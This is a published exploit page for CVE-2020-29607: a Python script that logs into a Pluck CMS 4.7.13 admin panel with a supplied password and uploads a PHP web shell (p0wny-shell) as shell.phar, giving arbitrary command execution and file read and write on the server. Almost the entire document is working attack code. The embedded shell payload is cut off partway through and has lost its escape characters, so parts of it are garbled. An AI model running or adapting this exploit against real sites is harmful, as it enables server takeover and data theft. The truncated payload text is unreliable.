Authored by Ron Jost

Pluck CMS version 4.7.13 suffers from a remote shell upload vulnerability.

advisories | CVE-2020-29607

# Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)
# Date: 25.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Software Link: https://github.com/pluck-cms/pluck/releases/tag/4.7.13
# Version: 4.7.13
# Tested on Xubuntu 20.04
# CVE: CVE-2020-29607

'''
Description:
A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin
privileged user to gain access in the host through the "manage files" functionality,
which may result in remote code execution.
'''


'''
Import required modules:
'''
import sys
import requests
import json
import time
import urllib.parse


'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
password = sys.argv[3]
pluckcmspath = sys.argv[4]


'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + pluckcmspath
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')


'''
Authentication:
'''
# Compute Content-Length:
base_content_len = 27
password_encoded = urllib.parse.quote(password, safe='')
password_encoded_len = len(password_encoded.encode('utf-8'))
content_len = base_content_len + password_encoded_len

# Construct Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': str(content_len),
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Referer': 'http://' + target_ip + pluckcmspath + '/login.php',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1'
}

# Construct Data:
body = {
'cont1': password,
'bogus': '',
'submit': 'Log in',
}

# Authenticating:
link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php'
auth = requests.post(link_auth, headers=header, data=body)
print('')
if 'error' in auth.text:
print('Password incorrect, please try again:')
exit()
else:
print('Authentification was succesfull, uploading webshell')
print('')


'''
Upload Webshell:
'''
# Construct Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'multipart/form-data; boundary=---------------------------5170699732428994785525662060',
'Connection': 'close',
'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1'
}

# Constructing Webshell payload: I'm using p0wny-shell: https://github.com/flozz/p0wny-shell
data = "-----------------------------5170699732428994785525662060rnContent-Disposition: form-data; name="filefile"; filename="shell.phar"rnContent-Type: application/octet-streamrnrn<?phpnnfunction featureShell($cmd, $cwd) {n $stdout = array();nn if (preg_match("/^s*cds*$/", $cmd)) {n // passn } elseif (preg_match("/^s*cds+(.+)s*(2>&1)?$/", $cmd)) {n chdir($cwd);n preg_match("/^s*cds+([^s]+)s*(2>&1)?$/", $cmd, $match);n chdir($match[1]);n } elseif (preg_match("/^s*downloads+[^s]+s*(2>&1)?$/", $cmd)) {n chdir($cwd);n preg_match("/^s*downloads+([^s]+)s*(2>&1)?$/", $cmd, $match);n return featureDownload($match[1]);n } else {n chdir($cwd);n exec($cmd, $stdout);n }nn return array(n "stdout" => $stdout,n "cwd" => getcwd()n );n}nnfunction featurePwd() {n return array("cwd" => getcwd());n}nnfunction featureHint($fileName, $cwd, $type) {n chdir($cwd);n if ($type == 'cmd') {n $cmd = "compgen -c $fileName";n } else {n $cmd = "compgen -f $fileName";n }n $cmd = "/bin/bash -c "$cmd"";n $files = explode("n", shell_exec($cmd));n return array(n 'files' => $files,n );n}nnfunction featureDownload($filePath) {n $file = @file_get_contents($filePath);n if ($file === FALSE) {n return array(n 'stdout' => array('File not found / no read permission.'),n 'cwd' => getcwd()n );n } else {n return array(n 'name' => basename($filePath),n 'file' => base64_encode($file)n );n }n}nnfunction featureUpload($path, $file, $cwd) {n chdir($cwd);n $f = @fopen($path, 'wb');n if ($f === FALSE) {n return array(n 'stdout' => array('Invalid path / no write permission.'),n 'cwd' => getcwd()n );n } else {n fwrite($f, base64_decode($file));n fclose($f);n return array(n 'stdout' => array('Done.'),n 'cwd' => getcwd()n );n }n}nnif (isset($_GET["feature"])) {nn $response = NULL;nn switch ($_GET["feature"]) {n case "shell":n $cmd = $_POST['cmd'];n if (!preg_match('/2>/', $cmd)) {n $cmd .= ' 2>&1';n }n $response = featureShell($cmd, $_POST["cwd"]);n break;n case "pwd":n $response = featurePwd();n break;n case "hint":n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);n break;n case 'upload':n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);n }nn header("Content-Type: application/json");n echo json_encode($response);n die();n}nn?><!DOCTYPE html>nn<html>nn <head>n <meta charset="UTF-8" />n <title>[email protected]:~#</title>n <meta name="viewport" content="width=device-width, initial-scale=1.0" />n <style>n html, body {n margin: 0;n padding: 0;n background: #333;n color: #eee;n font-family: monospace;n }nn *::-webkit-scrollbar-track {n border-radius: 8px;n background-color: #353535;n }nn *::-webkit-scrollbar {n width: 8px;n height: 8px;n }nn *::-webkit-scrollbar-thumb {n border-radius: 8px;n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);n background-color: #bcbcbc;n }nn #shell {n background: #222;n max-width: 800px;n margin: 50px auto 0 auto;n box-shadow: 0 0 5px rgba(0, 0, 0, .3);n font-size: 10pt;n display:

# Uploading Webshell:
link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files'
upload = requests.post(link_upload, headers=header, data=data)


'''
Finish:
'''
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/files/shell.phar')
print('')